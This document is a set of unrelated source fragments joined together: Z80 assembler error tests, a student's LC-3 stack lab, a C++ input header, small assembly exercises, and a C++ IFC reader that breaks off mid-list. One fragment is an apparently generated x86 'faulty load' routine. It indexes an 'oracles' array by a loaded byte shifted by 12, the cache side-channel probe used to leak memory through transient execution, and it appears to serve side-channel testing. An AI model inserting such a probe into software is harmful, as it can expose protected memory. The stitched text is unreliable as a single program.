srl (iy+127), l ; Error
srl (iy-128) ; Error
srl (iy-128), a ; Error
srl (iy-128), b ; Error
srl (iy-128), c ; Error
srl (iy-128), d ; Error
srl (iy-128), e ; Error
srl (iy-128), h ; Error
srl (iy-128), l ; Error
srl a' ; Error
srl b' ; Error
srl c' ; Error
srl d' ; Error
srl e' ; Error
srl h' ; Error
srl l' ; Error
sub (ix) ; Error
sub (ix+127) ; Error
sub (ix-128) ; Error
sub (iy) ; Error
sub (iy+127) ; Error
sub (iy-128) ; Error
sub a', (hl) ; Error
sub a', (ix) ; Error
sub a', (ix+127) ; Error
sub a', (ix-128) ; Error
sub a', (iy) ; Error
sub a', (iy+127) ; Error
sub a', (iy-128) ; Error
sub a', -128 ; Error
sub a', 127 ; Error
sub a', 255 ; Error
sub a', a ; Error
sub a', b ; Error
sub a', c ; Error
sub a', d ; Error
sub a', e ; Error
sub a', h ; Error
sub a', l ; Error
sub a, (ix) ; Error
sub a, (ix+127) ; Error
sub a, (ix-128) ; Error
sub a, (iy) ; Error
sub a, (iy+127) ; Error
sub a, (iy-128) ; Error
sub a, ixh ; Error
sub a, ixl ; Error
sub a, iyh ; Error
sub a, iyl ; Error
sub ixh ; Error
sub ixl ; Error
sub iyh ; Error
sub iyl ; Error
sures ; Error
swapnib ; Error
syscall ; Error
test (hl) ; Error
test (ix) ; Error
test (ix+127) ; Error
test (ix-128) ; Error
test (iy) ; Error
test (iy+127) ; Error
test (iy-128) ; Error
test -128 ; Error
test 127 ; Error
test 255 ; Error
test a ; Error
test a, (hl) ; Error
test a, (ix) ; Error
test a, (ix+127) ; Error
test a, (ix-128) ; Error
test a, (iy) ; Error
test a, (iy+127) ; Error
test a, (iy-128) ; Error
test a, -128 ; Error
test a, 127 ; Error
test a, 255 ; Error
test a, a ; Error
test a, b ; Error
test a, c ; Error
test a, d ; Error
test a, e ; Error
test a, h ; Error
test a, l ; Error
test b ; Error
test c ; Error
test d ; Error
test e ; Error
test h ; Error
test l ; Error
tst (hl) ; Error
tst (ix) ; Error
tst (ix+127) ; Error
tst (ix-128) ; Error
tst (iy) ; Error
tst (iy+127) ; Error
tst (iy-128) ; Error
tst -128 ; Error
tst 127 ; Error
tst 255 ; Error
tst a ; Error
tst a, (hl) ; Error
tst a, (ix) ; Error
tst a, (ix+127) ; Error
tst a, (ix-128) ; Error
tst a, (iy) ; Error
tst a, (iy+127) ; Error
tst a, (iy-128) ; Error
tst a, -128 ; Error
tst a, 127 ; Error
tst a, 255 ; Error
tst a, a ; Error
tst a, b ; Error
tst a, c ; Error
tst a, d ; Error
tst a, e ; Error
tst a, h ; Error
tst a, l ; Error
tst b ; Error
tst c ; Error
tst d ; Error
tst e ; Error
tst h ; Error
tst l ; Error
tstio -128 ; Error
tstio 127 ; Error
tstio 255 ; Error
uma ; Error
ums ; Error
xor (ix) ; Error
xor (ix+127) ; Error
xor (ix-128) ; Error
xor (iy) ; Error
xor (iy+127) ; Error
xor (iy-128) ; Error
xor a', (hl) ; Error
xor a', (ix) ; Error
xor a', (ix+127) ; Error
xor a', (ix-128) ; Error
xor a', (iy) ; Error
xor a', (iy+127) ; Error
xor a', (iy-128) ; Error
xor a', -128 ; Error
xor a', 127 ; Error
xor a', 255 ; Error
xor a', a ; Error
xor a', b ; Error
xor a', c ; Error
xor a', d ; Error
xor a', e ; Error
xor a', h ; Error
xor a', l ; Error
xor a, (ix) ; Error
xor a, (ix+127) ; Error
xor a, (ix-128) ; Error
xor a, (iy) ; Error
xor a, (iy+127) ; Error
xor a, (iy-128) ; Error
xor a, ixh ; Error
xor a, ixl ; Error
xor a, iyh ; Error
xor a, iyl ; Error
xor ixh ; Error
xor ixl ; Error
xor iyh ; Error
xor iyl ; Error
xthl ; Error
|
;===============================================================================
; Name: Moya, Branden
; Username: bmoya001@ucr.edu
;
; Lab: lab 9.2
; Lab section: 021
; TA: Bryan Marsh
;
;===============================================================================
.ORIG x3000
;Instructions
LD R1, POINTER ;STACK ADDRESS
LD R2, POINTER ;TOP
LD R3, CAPACITY
LD R4, ASCII_DOWN
GETC
OUT
ADD R0,R0,R4
JSR SUB_STACK_PUSH
LD R0, SPACE
OUT
GETC
OUT
ADD R0,R0,R4
JSR SUB_STACK_PUSH
LD R0, SPACE
OUT
GETC
OUT
AND R0,R0,#0
ADD R0,R0,#10
OUT
JSR SUB_RPN_MULTIPLY
HALT
;Local data
POINTER .FILL x4000
CAPACITY .FILL #10
SPACE .FILL x20
ASCII_DOWN .FILL #-48
;-------------------------------------------------------------------------------
; Subroutine: SUB_STACK_PUSH
; Parameter (R0): The value to push onto the stack
; Parameter (R1): stack_addr: A pointer to the beginning of the stack
; Parameter (R2): top: A pointer to the next place to PUSH an item
; Parameter (R3): capacity: The number of additional items the stack can hold
; Postcondition: The subroutine has pushed (R0) onto the stack. If an overflow
; occurred, the subroutine has printed an overflow error message
; and terminated.
; Return Value: R2 ← updated top value
; R3 ← updated capacity value
;-------------------------------------------------------------------------------
.ORIG x3200
SUB_STACK_PUSH
ST R7, R7_3200
AND R3,R3,R3
BRz STACK_FULL
ADD R2,R2,#1
STR R0,R2,#0
ADD R3,R3,#-1
BR DONE1
STACK_FULL
LEA R0, PUSH_ERROR
PUTS
DONE1
LD R7, R7_3200
RET
;Subroutine data
R7_3200 .BLKW #1
PUSH_ERROR .STRINGZ "ERROR: OVERFLOW!\n"
;-------------------------------------------------------------------------------
; Subroutine: SUB_RPN_MULTIPLY
; Parameter (R1): stack_addr
; Parameter (R2): top
; Parameter (R3): capacity
; Postcondition: The subroutine has popped off the top two values of the stack,
; multiplied them together, and pushed the resulting value back
; onto the stack.
; Return Value: R2 ← updated top value
; R3 ← updated capacity value
;-------------------------------------------------------------------------------
.ORIG x3400
SUB_RPN_MULTIPLY
;INSTRUCTIONS
ST R7, R7_3400
JSR SUB_STACK_POP ;GETS VALUES AND STORS IN R4 AND R5
AND R4,R0,R0
JSR SUB_STACK_POP
AND R5,R0,R0
BRz ZERO
AND R4,R4,R4
BRz ZERO
AND R0,R0,#0
MULTIPLY_LOOP
ADD R0,R0,R5
ADD R4,R4,#-1
BRp MULTIPLY_LOOP
BR FINISH
ZERO
AND R0,R0,#0
FINISH
JSR SUB_STACK_PUSH
AND R5,R5,#0
JSR PRINT_NUM
LD R7, R7_3400
RET
;Subroutine data
R7_3400 .BLKW #1
;-------------------------------------------------------------------------------
; Subroutine: SUB_STACK_POP
; Parameter (R1): stack_addr: A pointer to the beginning of the stack
; Parameter (R2): top: A pointer to the item to POP
; Parameter (R3): capacity: The # of additional items the stack can hold
; Postcondition: The subroutine has popped MEM[top] off of the stack.
; If an underflow occurred, the subroutine has printed an
; underflow error message and terminated.
; Return Value: R0 ← value popped off of the stack
; R2 ← updated top value
; R3 ← updated capacity value
;-------------------------------------------------------------------------------
.ORIG x3600
SUB_STACK_POP
ST R7, R7_3600
NOT R7,R1
ADD R7,R7,#1
ADD R7,R7,R2
BRz STACK_EMPTY
LDR R0,R2,#0
ADD R2,R2,#-1
ADD R3,R3,#1
BR DONE
STACK_EMPTY
LEA R0, POP_ERROR
PUTS
DONE
LD R7, R7_3600
RET
;Subroutine data
R7_3600 .BLKW #1
POP_ERROR .STRINGZ "ERROR: UNDERFLOW!\n"
;-------------------------------------------------------------------------------
; Subroutine: print number
; Inputs:
; Postcondition:
; The subroutine prints the number that is in R2
; Return Value :
; NOTE: This subroutine should be the same as the one that you did in assignment 5
; to print the number to the user WITHOUT leading 0's and DOES NOT output the '+'
; for positive numbers.
;-------------------------------------------------------------------------------
.orig x3800
PRINT_NUM
;Instructions
ST R7, R7_3800
LD R6, ASCII_UP
AND R5,R5,#0
JSR SUB_STACK_POP
TENS_LOOP
ADD R7,R0,#-10
BRn LESSTHANTEN
AND R0,R7,R7
ADD R5,R5,#1
BR TENS_LOOP
LESSTHANTEN
AND R5,R5,R5
BRz FINISH38
AND R4,R0,R0
ADD R0,R5,R6
OUT
AND R0,R4,R4
FINISH38
ADD R0,R0,R6
OUT
AND R0,R0,#0
ADD R0,R0,#10
OUT
LD R7, R7_3800
RET
;Instructions
R7_3800 .BLKW #1 ;STORES R7,R5,R2 VALUES FOR BACKUP
ASCII_UP .FILL x30
;Remote Data
.ORIG x4001
ARRAY .BLKW #10
.end |
/*******************************************************************************
* Copyright 2018 BGx Graphics Framework.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
******************************************************************************/
/*
* author abijosh@gmail.com
*/
#ifndef BGX_INPUT_HPP
#define BGX_INPUT_HPP
#include <string>
namespace gdx {
class InputProcessor;
class Input {
public:
class TextInputListener {
public:
virtual void input(const std::string& text) = 0;
virtual ~TextInputListener() { }
};
struct Button {
enum {
LEFT = 0,
RIGHT = 1,
MIDDLE = 2
};
};
struct Keys {
enum {
ANY_KEY = -1,
NUM_0 = 7,
NUM_1 = 8,
NUM_2 = 9,
NUM_3 = 10,
NUM_4 = 11,
NUM_5 = 12,
NUM_6 = 13,
NUM_7 = 14,
NUM_8 = 15,
NUM_9 = 16,
A = 29,
ALT_LEFT = 57,
ALT_RIGHT = 58,
APOSTROPHE = 75,
AT = 77,
B = 30,
BACK = 4,
BACKSLASH = 73,
C = 31,
CALL = 5,
CAMERA = 27,
CLEAR = 28,
COMMA = 55,
D = 32,
DEL = 67,
BACKSPACE = 67,
FORWARD_DEL = 112,
DPAD_CENTER = 23,
DPAD_DOWN = 20,
DPAD_LEFT = 21,
DPAD_RIGHT = 22,
DPAD_UP = 19,
CENTER = 23,
DOWN = 20,
LEFT = 21,
RIGHT = 22,
UP = 19,
E = 33,
ENDCALL = 6,
ENTER = 66,
ENVELOPE = 65,
EQUALS = 70,
EXPLORER = 64,
F = 34,
FOCUS = 80,
G = 35,
GRAVE = 68,
H = 36,
HEADSETHOOK = 79,
HOME = 3,
I = 37,
J = 38,
K = 39,
L = 40,
LEFT_BRACKET = 71,
M = 41,
MEDIA_FAST_FORWARD = 90,
MEDIA_NEXT = 87,
MEDIA_PLAY_PAUSE = 85,
MEDIA_PREVIOUS = 88,
MEDIA_REWIND = 89,
MEDIA_STOP = 86,
MENU = 82,
MINUS = 69,
MUTE = 91,
N = 42,
NOTIFICATION = 83,
NUM = 78,
O = 43,
P = 44,
PERIOD = 56,
PLUS = 81,
POUND = 18,
POWER = 26,
Q = 45,
R = 46,
RIGHT_BRACKET = 72,
S = 47,
SEARCH = 84,
SEMICOLON = 74,
SHIFT_LEFT = 59,
SHIFT_RIGHT = 60,
SLASH = 76,
SOFT_LEFT = 1,
SOFT_RIGHT = 2,
SPACE = 62,
STAR = 17,
SYM = 63,
T = 48,
TAB = 61,
U = 49,
UNKNOWN = 0,
V = 50,
VOLUME_DOWN = 25,
VOLUME_UP = 24,
W = 51,
X = 52,
Y = 53,
Z = 54,
META_ALT_LEFT_ON = 16,
META_ALT_ON = 2,
META_ALT_RIGHT_ON = 32,
META_SHIFT_LEFT_ON = 64,
META_SHIFT_ON = 1,
META_SHIFT_RIGHT_ON = 128,
META_SYM_ON = 4,
CONTROL_LEFT = 129,
CONTROL_RIGHT = 130,
ESCAPE = 131,
END = 132,
INSERT = 133,
PAGE_UP = 92,
PAGE_DOWN = 93,
PICTSYMBOLS = 94,
SWITCH_CHARSET = 95,
BUTTON_CIRCLE = 255,
BUTTON_A = 96,
BUTTON_B = 97,
BUTTON_C = 98,
BUTTON_X = 99,
BUTTON_Y = 100,
BUTTON_Z = 101,
BUTTON_L1 = 102,
BUTTON_R1 = 103,
BUTTON_L2 = 104,
BUTTON_R2 = 105,
BUTTON_THUMBL = 106,
BUTTON_THUMBR = 107,
BUTTON_START = 108,
BUTTON_SELECT = 109,
BUTTON_MODE = 110,
COLON = 243,
F1 = 244,
F2 = 245,
F3 = 246,
F4 = 247,
F5 = 248,
F6 = 249,
F7 = 250,
F8 = 251,
F9 = 252,
F10 = 253,
F11 = 254,
F12 = 255,
};
};
struct Peripheral {
enum {
HardwareKeyboard, OnscreenKeyboard, MultitouchScreen, Accelerometer, Compass, Vibrator
};
};
virtual float getAccelerometerX () = 0;
virtual float getAccelerometerY () = 0;
virtual float getAccelerometerZ () = 0;
virtual int getX () = 0;
virtual int getX (int pointer) = 0;
virtual int getDeltaX () = 0;
virtual int getDeltaX (int pointer) = 0;
virtual int getY () = 0;
virtual int getY (int pointer) = 0;
virtual int getDeltaY () = 0;
virtual int getDeltaY (int pointer) = 0;
virtual bool isTouched () = 0;
virtual bool justTouched () = 0;
virtual bool isTouched (int pointer) = 0;
virtual bool isButtonPressed (int button) = 0;
virtual bool isKeyPressed (int key) = 0;
virtual void getTextInput (const TextInputListener& listener, const std::string& title, const std::string& text) = 0;
virtual void setOnscreenKeyboardVisible (bool visible) = 0;
virtual void vibrate (int milliseconds) = 0;
virtual void vibrate (long* pattern, int repeat) = 0;
virtual void cancelVibrate () = 0;
virtual float getAzimuth () = 0;
virtual float getPitch () = 0;
virtual float getRoll () = 0;
virtual long getCurrentEventTime() = 0;
virtual void setCatchBackKey (bool catchBack) = 0;
virtual void setCatchMenuKey (bool catchMenu) = 0;
virtual void setInputProcessor (InputProcessor* processor) = 0;
virtual bool isPeripheralAvailable (int peripheral) = 0;
virtual int getRotation () = 0;
enum Orientation {
Landscape, Portrait
};
virtual Orientation getNativeOrientation () = 0;
/**Sets up the keyboard repeat interval
* @param delay: the delay, in msecs, before the repeat triggers
* @param repeatInterval: after the repeat triggers, the interval in wich it will happen
*/
virtual void setKeyboardRepeat(int delay, int repeatInterval) = 0;
virtual void setCursorCatched (bool catched) = 0;
virtual bool isCursorCatched () = 0;
virtual void setCursorPosition (int x, int y) = 0;
virtual ~Input() { }
};
}
#endif //BGX_INPUT_HPP |
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r12
push %r15
push %rcx
push %rdi
push %rsi
lea addresses_D_ht+0x1c133, %rsi
lea addresses_UC_ht+0x19d90, %rdi
nop
nop
nop
nop
nop
cmp %r10, %r10
mov $79, %rcx
rep movsq
nop
nop
and $38618, %r15
lea addresses_normal_ht+0x12bc0, %r10
nop
nop
xor %r11, %r11
movb (%r10), %r12b
nop
nop
nop
nop
cmp %rdi, %rdi
lea addresses_UC_ht+0x1478b, %r12
nop
nop
nop
nop
cmp %r15, %r15
movw $0x6162, (%r12)
nop
nop
nop
nop
sub %rsi, %rsi
lea addresses_UC_ht+0x10390, %rsi
lea addresses_normal_ht+0x15590, %rdi
clflush (%rsi)
nop
nop
sub %r15, %r15
mov $105, %rcx
rep movsb
nop
nop
nop
sub %r15, %r15
lea addresses_D_ht+0x15f90, %rdi
nop
nop
nop
nop
nop
xor $58462, %r15
mov (%rdi), %r11w
nop
nop
nop
nop
xor $9851, %rcx
lea addresses_UC_ht+0xce30, %r12
nop
nop
nop
nop
cmp %rcx, %rcx
movl $0x61626364, (%r12)
nop
sub %r10, %r10
lea addresses_WC_ht+0x17790, %rsi
lea addresses_normal_ht+0xf790, %rdi
nop
nop
add $12592, %r15
mov $40, %rcx
rep movsw
cmp $9390, %rcx
lea addresses_D_ht+0x4298, %rsi
nop
nop
nop
nop
dec %rcx
mov (%rsi), %r11w
nop
nop
cmp %rsi, %rsi
lea addresses_WT_ht+0x4590, %rcx
inc %r10
movl $0x61626364, (%rcx)
nop
nop
nop
inc %rdi
lea addresses_A_ht+0xcf90, %r10
nop
nop
nop
nop
nop
lfence
movb $0x61, (%r10)
nop
and %rcx, %rcx
lea addresses_D_ht+0xaf90, %rsi
lea addresses_normal_ht+0x19490, %rdi
clflush (%rsi)
nop
sub $53252, %r11
mov $59, %rcx
rep movsw
nop
nop
nop
cmp $53045, %r11
lea addresses_UC_ht+0x6410, %rsi
nop
nop
nop
nop
and %r15, %r15
movb $0x61, (%rsi)
nop
nop
nop
cmp %r12, %r12
lea addresses_WC_ht+0x10790, %r10
nop
add $21018, %r12
movw $0x6162, (%r10)
nop
nop
nop
nop
and $6859, %r11
lea addresses_normal_ht+0x6390, %rdi
nop
nop
nop
nop
and %rsi, %rsi
vmovups (%rdi), %ymm6
vextracti128 $0, %ymm6, %xmm6
vpextrq $0, %xmm6, %r12
nop
dec %rcx
pop %rsi
pop %rdi
pop %rcx
pop %r15
pop %r12
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %rax
push %rbp
push %rcx
push %rdi
// Store
lea addresses_A+0x10990, %rdi
nop
xor %rax, %rax
movl $0x51525354, (%rdi)
nop
nop
cmp %rdi, %rdi
// Store
mov $0xb90, %r12
nop
nop
nop
nop
xor $43563, %rax
mov $0x5152535455565758, %rdi
movq %rdi, %xmm3
movups %xmm3, (%r12)
nop
nop
nop
nop
sub $14007, %rbp
// Faulty Load
lea addresses_A+0x1e790, %r12
nop
nop
nop
add %rax, %rax
movups (%r12), %xmm3
vpextrq $0, %xmm3, %r13
lea oracles, %rax
and $0xff, %r13
shlq $12, %r13
mov (%rax,%r13,1), %r13
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_A', 'congruent': 0}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_A', 'congruent': 9}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_P', 'congruent': 10}, 'OP': 'STOR'}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_A', 'congruent': 0}}
<gen_prepare_buffer>
{'dst': {'same': False, 'congruent': 9, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 0, 'type': 'addresses_D_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': True, 'size': 1, 'type': 'addresses_normal_ht', 'congruent': 4}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_UC_ht', 'congruent': 0}, 'OP': 'STOR'}
{'dst': {'same': False, 'congruent': 8, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 9, 'type': 'addresses_UC_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_D_ht', 'congruent': 11}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_UC_ht', 'congruent': 3}, 'OP': 'STOR'}
{'dst': {'same': False, 'congruent': 8, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'src': {'same': True, 'congruent': 10, 'type': 'addresses_WC_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_D_ht', 'congruent': 3}}
{'dst': {'same': True, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_WT_ht', 'congruent': 7}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_A_ht', 'congruent': 11}, 'OP': 'STOR'}
{'dst': {'same': False, 'congruent': 8, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 9, 'type': 'addresses_D_ht'}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_UC_ht', 'congruent': 6}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_WC_ht', 'congruent': 11}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_normal_ht', 'congruent': 10}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
.macro padded_string string, max
1:
.ascii "\string"
2:
.ifle \max - (2b - 1b)
.error "String too long"
.endif
.ifgt \max - (2b - 1b)
.zero \max - (2b - 1b)
.endif
.endm
|
assume cs:codesg
codesg segment
mov ax, 2000H ; 这里注意要加H,不然就会被认为是十进制的数
; 与debug底下不大相同
mov ss, ax
mov sp, 0
add sp, 10
pop ax
pop bx
push ax
push bx
pop ax
pop bx
mov ax, 4c00H
int 21H
codesg ends
end |
#include "ifc/File.h"
#include "ifc/Environment.h"
#include "ifc/Trait.h"
#include "ifc/Attribute.h"
#include "ifc/Chart.h"
#include "ifc/Declaration.h"
#include "ifc/Expression.h"
#include "ifc/SyntaxTree.h"
#include "ifc/Type.h"
#include <boost/iostreams/device/mapped_file.hpp>
#include <cassert>
#include <span>
#include <stdexcept>
#include <unordered_map>
#include <optional>
namespace ifc
{
namespace
{
using FileSignature = std::array<std::byte, 4>;
constexpr auto as_bytes(auto... values)
{
return std::array { static_cast<std::byte>(values)... };
}
constexpr FileSignature CANONICAL_FILE_SIGNATURE = as_bytes(0x54, 0x51, 0x45, 0x1A);
}
struct File::Impl
{
private:
struct Structure
{
FileSignature signature;
FileHeader header;
};
boost::iostreams::mapped_file_source fmap_;
std::unordered_map<std::string_view, PartitionSummary const*> table_of_contents_;
Structure const * structure() const
{
return reinterpret_cast<Structure const *>(fmap_.data());
}
size_t calc_size() const
{
auto result = sizeof(Structure) + raw_count(header().string_table_size);
const auto toc = table_of_contents();
result += toc.size_bytes();
for (const auto & partition : toc)
result += partition.size_bytes();
return result;
}
std::span<PartitionSummary const> table_of_contents() const
{
auto const & h = header();
return { get_pointer<PartitionSummary>(h.toc), raw_count(h.partition_count) };
}
template<typename T>
T const* get_pointer(ByteOffset offset) const
{
return static_cast<T const*>(get_raw_pointer(offset));
}
void const* get_raw_pointer(ByteOffset offset) const
{
return fmap_.data() + static_cast<size_t>(offset);
}
public:
Impl(std::string const & path)
: fmap_(path)
{
if (structure()->signature != CANONICAL_FILE_SIGNATURE)
throw std::invalid_argument("corrupted file signature");
if (calc_size() != fmap_.size())
throw std::runtime_error("corrupted file");
for (auto const& partition : table_of_contents())
{
table_of_contents_.emplace(get_string(partition.name), &partition);
}
}
FileHeader const & header() const
{
return structure()->header;
}
const char* get_string(TextOffset index) const
{
return get_pointer<char>(header().string_table_bytes) + static_cast<size_t>(index);
}
template<typename T, typename Index>
std::optional<Partition<T, Index>> try_get_partition(std::string_view name) const
{
auto it = table_of_contents_.find(name);
if (it == table_of_contents_.end())
return std::nullopt;
return get_partition<T, Index>(it->second);
}
template<typename T, typename Index>
std::optional<Partition<T, Index>> try_get_partition() const
{
return try_get_partition<T, Index>(T::PartitionName);
}
template<typename T, typename Index>
Partition<T, Index> get_partition(std::string_view name) const
{
return get_partition<T, Index>(table_of_contents_.at(name));
}
template<typename T, typename Index>
Partition<T, Index> get_partition(PartitionSummary const * partition) const
{
assert(static_cast<size_t>(partition->entry_size) == sizeof(T));
return { get_pointer<T>(partition->offset), raw_count(partition->cardinality) };
}
template<typename T, typename Index>
Partition<T, Index> get_partition() const
{
return get_partition<T, Index>(T::PartitionName);
}
std::unordered_map<DeclIndex, std::vector<AttrIndex>> const & trait_declaration_attributes()
{
if (!trait_declaration_attributes_)
{
trait_declaration_attributes_.emplace();
// ObjectTraits, FunctionTraits or Attributes for a template.
// We could separate this trait & .msvc.trait.decl-attrs.
// But the type is the same so it fits nicely here I think.
fill_decl_attributes("trait.attribute");
// All other attributes like [[nodiscard]] etc...
fill_decl_attributes(".msvc.trait.decl-attrs");
}
return *trait_declaration_attributes_;
}
std::unordered_map<DeclIndex, TextOffset> const & trait_deprecation_texts()
{
if (!trait_deprecation_texts_)
{
trait_deprecation_texts_.emplace();
if (auto deprecations = try_get_partition<AssociatedTrait<TextOffset>, Index>("trait.deprecated"))
{
for (auto deprecation : *deprecations)
{
(*trait_deprecation_texts_)[deprecation.decl] = deprecation.trait;
}
}
}
return *trait_deprecation_texts_;
}
private:
void fill_decl_attributes(std::string_view partition)
{
if (auto attributes = try_get_partition<AssociatedTrait<AttrIndex>, Index>(partition))
{
for (auto attribute : *attributes)
{
(*trait_declaration_attributes_)[attribute.decl].push_back(attribute.trait);
}
}
}
std::optional<std::unordered_map<DeclIndex, TextOffset>> trait_deprecation_texts_;
std::optional<std::unordered_map<DeclIndex, std::vector<AttrIndex>>> trait_declaration_attributes_;
};
FileHeader const& File::header() const
{
return impl_->header();
}
const char* File::get_string(TextOffset index) const
{
return impl_->get_string(index);
}
ScopeDescriptor File::global_scope() const
{
return scope_descriptors()[header().global_scope];
}
ScopePartition File::scope_descriptors() const
{
return impl_->get_partition<ScopeDescriptor, ScopeIndex>();
}
#define DEFINE_PARTITION_GETTER(ElementType, IndexType, Property) \
Partition<ElementType, IndexType> File::Property() const { \
return get_partition_with_cache<ElementType, IndexType>(cached_ ## Property ## _); \
}
DEFINE_PARTITION_GETTER(Declaration, Index, declarations)
#define DEFINE_DECL_PARTITION_GETTER(DeclType, DeclName) \
DEFINE_PARTITION_GETTER(DeclType, DeclIndex, DeclName)
DEFINE_DECL_PARTITION_GETTER(ScopeDeclaration, scope_declarations)
DEFINE_DECL_PARTITION_GETTER(TemplateDeclaration, template_declarations)
DEFINE_DECL_PARTITION_GETTER(UsingDeclaration, using_declarations)
DEFINE_DECL_PARTITION_GETTER(Enumeration, enumerations)
DEFINE_DECL_PARTITION_GETTER(Enumerator, enumerators)
DEFINE_DECL_PARTITION_GETTER(AliasDeclaration, alias_declarations)
DEFINE_DECL_PARTITION_GETTER(DeclReference, decl_references)
